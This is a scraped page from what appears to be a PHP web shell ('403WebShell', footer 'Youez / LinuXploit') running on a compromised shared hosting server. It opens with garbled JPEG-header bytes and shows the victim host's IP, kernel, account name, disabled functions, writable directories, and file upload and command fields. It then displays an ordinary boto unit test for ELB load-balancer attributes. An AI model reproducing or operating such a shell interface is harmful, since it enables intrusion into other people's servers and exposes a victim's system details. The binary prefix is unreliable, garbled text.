JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.222.222.13  /  Your IP : 216.73.216.176
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /./opt/gsutil/gslib/vendored/boto/tests/unit/ec2/elb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /./opt/gsutil/gslib/vendored/boto/tests/unit/ec2/elb/test_attribute.py
from tests.unit import unittest
from tests.compat import mock

from boto.ec2.elb import ELBConnection
from boto.ec2.elb import LoadBalancer
from boto.ec2.elb.attributes import LbAttributes

ATTRIBUTE_GET_TRUE_CZL_RESPONSE = b"""<?xml version="1.0" encoding="UTF-8"?>
<DescribeLoadBalancerAttributesResponse  xmlns="http://elasticloadbalancing.amazonaws.com/doc/2012-06-01/">
 <DescribeLoadBalancerAttributesResult>
    <LoadBalancerAttributes>
      <CrossZoneLoadBalancing>
        <Enabled>true</Enabled>
      </CrossZoneLoadBalancing>
    </LoadBalancerAttributes>
  </DescribeLoadBalancerAttributesResult>
<ResponseMetadata>
    <RequestId>83c88b9d-12b7-11e3-8b82-87b12EXAMPLE</RequestId>
</ResponseMetadata>
</DescribeLoadBalancerAttributesResponse>
"""

ATTRIBUTE_GET_FALSE_CZL_RESPONSE = b"""<?xml version="1.0" encoding="UTF-8"?>
<DescribeLoadBalancerAttributesResponse  xmlns="http://elasticloadbalancing.amazonaws.com/doc/2012-06-01/">
 <DescribeLoadBalancerAttributesResult>
    <LoadBalancerAttributes>
      <CrossZoneLoadBalancing>
        <Enabled>false</Enabled>
      </CrossZoneLoadBalancing>
    </LoadBalancerAttributes>
  </DescribeLoadBalancerAttributesResult>
<ResponseMetadata>
    <RequestId>83c88b9d-12b7-11e3-8b82-87b12EXAMPLE</RequestId>
</ResponseMetadata>
</DescribeLoadBalancerAttributesResponse>
"""

ATTRIBUTE_GET_CS_RESPONSE = b"""<?xml version="1.0" encoding="UTF-8"?>
<DescribeLoadBalancerAttributesResponse  xmlns="http://elasticloadbalancing.amazonaws.com/doc/2012-06-01/">
 <DescribeLoadBalancerAttributesResult>
    <LoadBalancerAttributes>
      <ConnectionSettings>
        <IdleTimeout>30</IdleTimeout>
      </ConnectionSettings>
    </LoadBalancerAttributes>
  </DescribeLoadBalancerAttributesResult>
<ResponseMetadata>
    <RequestId>83c88b9d-12b7-11e3-8b82-87b12EXAMPLE</RequestId>
</ResponseMetadata>
</DescribeLoadBalancerAttributesResponse>
"""

ATTRIBUTE_SET_RESPONSE = b"""<?xml version="1.0" encoding="UTF-8"?>
<ModifyLoadBalancerAttributesResponse xmlns="http://elasticloadbalancing.amazonaws.com/doc/2012-06-01/">
<ModifyLoadBalancerAttributesResult/>
<ResponseMetadata>
    <RequestId>83c88b9d-12b7-11e3-8b82-87b12EXAMPLE</RequestId>
</ResponseMetadata>
</ModifyLoadBalancerAttributesResponse>
"""

# make_request arguments for setting attributes.
# Format: (API_COMMAND, API_PARAMS, API_PATH, API_METHOD)
ATTRIBUTE_SET_CZL_TRUE_REQUEST = (
    'ModifyLoadBalancerAttributes',
    {'LoadBalancerAttributes.CrossZoneLoadBalancing.Enabled': 'true',
     'LoadBalancerName': 'test_elb'}, mock.ANY, mock.ANY)
ATTRIBUTE_SET_CZL_FALSE_REQUEST = (
    'ModifyLoadBalancerAttributes',
    {'LoadBalancerAttributes.CrossZoneLoadBalancing.Enabled': 'false',
     'LoadBalancerName': 'test_elb'}, mock.ANY, mock.ANY)

# Tests to be run on an LbAttributes
# Format:
# (EC2_RESPONSE_STRING, list( (string_of_attribute_to_test, value) ) )
ATTRIBUTE_TESTS = [
    (ATTRIBUTE_GET_TRUE_CZL_RESPONSE,
     [('cross_zone_load_balancing.enabled', True)]),
    (ATTRIBUTE_GET_FALSE_CZL_RESPONSE,
     [('cross_zone_load_balancing.enabled', False)]),
    (ATTRIBUTE_GET_CS_RESPONSE,
     [('connecting_settings.idle_timeout', 30)]),
]


class TestLbAttributes(unittest.TestCase):
    """Tests LB Attributes."""
    def _setup_mock(self):
        """Sets up a mock elb request.
        Returns: response, elb connection and LoadBalancer
        """
        mock_response = mock.Mock()
        mock_response.status = 200
        elb = ELBConnection(aws_access_key_id='aws_access_key_id',
                            aws_secret_access_key='aws_secret_access_key')
        elb.make_request = mock.Mock(return_value=mock_response)
        return mock_response, elb, LoadBalancer(elb, 'test_elb')

    def _verify_attributes(self, attributes, attr_tests):
        """Verifies an LbAttributes object."""
        for attr, result in attr_tests:
            attr_result = attributes
            for sub_attr in attr.split('.'):
                attr_result = getattr(attr_result, sub_attr, None)
            self.assertEqual(attr_result, result)

    def test_get_all_lb_attributes(self):
        """Tests getting the LbAttributes from the elb.connection."""
        mock_response, elb, _ = self._setup_mock()

        for response, attr_tests in ATTRIBUTE_TESTS:
            mock_response.read.return_value = response
            attributes = elb.get_all_lb_attributes('test_elb')
            self.assertTrue(isinstance(attributes, LbAttributes))
            self._verify_attributes(attributes, attr_tests)

    def test_get_lb_attribute(self):
        """Tests getting a single attribute from elb.connection."""
        mock_response, elb, _ = self._setup_mock()

        tests = [
            ('crossZoneLoadBalancing', True, ATTRIBUTE_GET_TRUE_CZL_RESPONSE),
            ('crossZoneLoadBalancing', False, ATTRIBUTE_GET_FALSE_CZL_RESPONSE),
        ]

        for attr, value, response in tests:
            mock_response.read.return_value = response
            status = elb.get_lb_attribute('test_elb', attr)
            self.assertEqual(status, value)

    def test_modify_lb_attribute(self):
        """Tests setting the attributes from elb.connection."""
        mock_response, elb, _ = self._setup_mock()

        tests = [
            ('crossZoneLoadBalancing', True, ATTRIBUTE_SET_CZL_TRUE_REQUEST),
            ('crossZoneLoadBalancing', False, ATTRIBUTE_SET_CZL_FALSE_REQUEST),
        ]

        for attr, value, args in tests:
            mock_response.read.return_value = ATTRIBUTE_SET_RESPONSE
            result = elb.modify_lb_attribute('test_elb', attr, value)
            self.assertTrue(result)
            elb.make_request.assert_called_with(*args)

    def test_lb_get_attributes(self):
        """Tests the LbAttributes from the ELB object."""
        mock_response, _, lb = self._setup_mock()

        for response, attr_tests in ATTRIBUTE_TESTS:
            mock_response.read.return_value = response
            attributes = lb.get_attributes(force=True)
            self.assertTrue(isinstance(attributes, LbAttributes))
            self._verify_attributes(attributes, attr_tests)

    def test_lb_is_cross_zone_load_balancing(self):
        """Tests checking is_cross_zone_load_balancing."""
        mock_response, _, lb = self._setup_mock()

        tests = [
            # Format: (method, args, result, response)
            # Gets a true result.
            (lb.is_cross_zone_load_balancing, [], True,
             ATTRIBUTE_GET_TRUE_CZL_RESPONSE),
            # Returns the previous calls cached value.
            (lb.is_cross_zone_load_balancing, [], True,
             ATTRIBUTE_GET_FALSE_CZL_RESPONSE),
            # Gets a false result.
            (lb.is_cross_zone_load_balancing, [True], False,
             ATTRIBUTE_GET_FALSE_CZL_RESPONSE),
        ]

        for method, args, result, response in tests:
            mock_response.read.return_value = response
            self.assertEqual(method(*args), result)

    def test_lb_enable_cross_zone_load_balancing(self):
        """Tests enabling cross zone balancing from LoadBalancer."""
        mock_response, elb, lb = self._setup_mock()

        mock_response.read.return_value = ATTRIBUTE_SET_RESPONSE
        self.assertTrue(lb.enable_cross_zone_load_balancing())
        elb.make_request.assert_called_with(*ATTRIBUTE_SET_CZL_TRUE_REQUEST)

    def test_lb_disable_cross_zone_load_balancing(self):
        """Tests disabling cross zone balancing from LoadBalancer."""
        mock_response, elb, lb = self._setup_mock()

        mock_response.read.return_value = ATTRIBUTE_SET_RESPONSE
        self.assertTrue(lb.disable_cross_zone_load_balancing())
        elb.make_request.assert_called_with(*ATTRIBUTE_SET_CZL_FALSE_REQUEST)

    def test_lb_get_connection_settings(self):
        """Tests checking connectionSettings attribute"""
        mock_response, elb, _ = self._setup_mock()
        
        attrs = [('idle_timeout', 30), ]
        mock_response.read.return_value = ATTRIBUTE_GET_CS_RESPONSE
        attributes = elb.get_all_lb_attributes('test_elb')
        self.assertTrue(isinstance(attributes, LbAttributes))
        for attr, value in attrs:
            self.assertEqual(getattr(attributes.connecting_settings, attr), value)

if __name__ == '__main__':
    unittest.main()

Youez - 2016 - github.com/yon3zu
LinuXploit